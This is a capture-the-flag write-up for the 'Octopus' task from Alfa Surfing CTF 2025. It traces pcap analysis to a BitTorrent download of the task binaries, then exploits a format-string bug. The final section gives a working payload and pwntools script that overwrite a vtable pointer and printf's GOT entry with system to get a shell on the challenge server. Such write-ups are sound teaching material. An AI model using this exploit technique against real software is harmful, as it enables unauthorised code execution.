Alfa Surfing CTF 2025 - Octopus
Type: CTF task
Platform: Linux
Category: Pwn/Network
Idea: BTH to get binaries and pwn format string on server
This is a network + pwn task from Alfa Surfing CTF 2025. We have a pcap with some traffic.
So we need to filter TLS traffic and other stuff. And we get something like this.
Filter:
!tls and (ip.addr != 217.12.104.100 and ip.addr != 91.206.127.56 and ip.addr != 216.58.211.228) && !dns
We see suspicios BT-DHT packets. This is Bittorent protocol. And after we see Bittorent hash (BTH).
And we can create a magnet link with this hash: magnet:?xt=urn:btih:541dbfceb925d26c4f0f7687a9ad7bd0c1d9a7b5
And just use any Bittorent client.
After downloading we need to analyze binaries. There is two binaries: server_with_pow.elf and run.elf.
server_with_pow.elf
It’s just a simple TCP server that get string from client and calc MD5 hash. Hash need to start with 21 zero bit.
If it’s okay we run next binary run.elf
.
run.elf
This binary provides us the interface to local LLM.
And we can choose the user. In banner.txt we see just two of three users. But in code we see another user melloy
.
And when we see how proceeded inputed string from user melloy
we discover the format string vulnerablity in line 129.
So we need to PWN it!
My idea of exploitation is about only binary pwn. But author solution use LLM to get shell.
First we need to check what is on stack after our format string bug was triggered.
And we see that we can addressing the stack where pointer to user object stored. And this pointer points to vtable of object. Function from vtable using after printf.
And when we make checksec on binary we see that there is no PIE and partitial RELRO.
Let’s check that GOT is writeable on debugger.
So there is final idea of exploitation.
- We overwrite data by pointer to Melloy object (which was vtable pointer) to offset in binary where address of
_start
placed. And it give us a cycle, after format string printing we run_start
andmain
again. - We overwrite
printf
in GOT tosystem
PLT. And this give us a shell, becase we call system on data that suppouse to be provided in printf.
See on the stack what happend after our overwriting.
vtable is overwrited and we jump to _start
And after that we need to interact with process and type username and command after.
So final payload is
"%34$n%4194328c%14$n%38488c%35$n_" + p64(0x703028 + 4) + p64(0x703028)
Exploit code:
#!/usr/bin/env python3
from pwn import *
if __name__ == "__main__":
#p = process('./run.elf')
p = remote('46.62.167.155', 31337)
p.recvline()
p.sendline(b'7vfv')
#gdb.attach(p, '''b *0x4250E3''')
p.sendlineafter(b'<no user choosed\n', b'melloy')
p.sendlineafter(b'<melloy\n', b"%34$n%4194328c%14$n%38488c%35$n_" + p64(0x703028 + 4) + p64(0x703028))
p.interactive()
Run and get flag!
Summary: Thanks the author (@awengar) for the task. It was fun!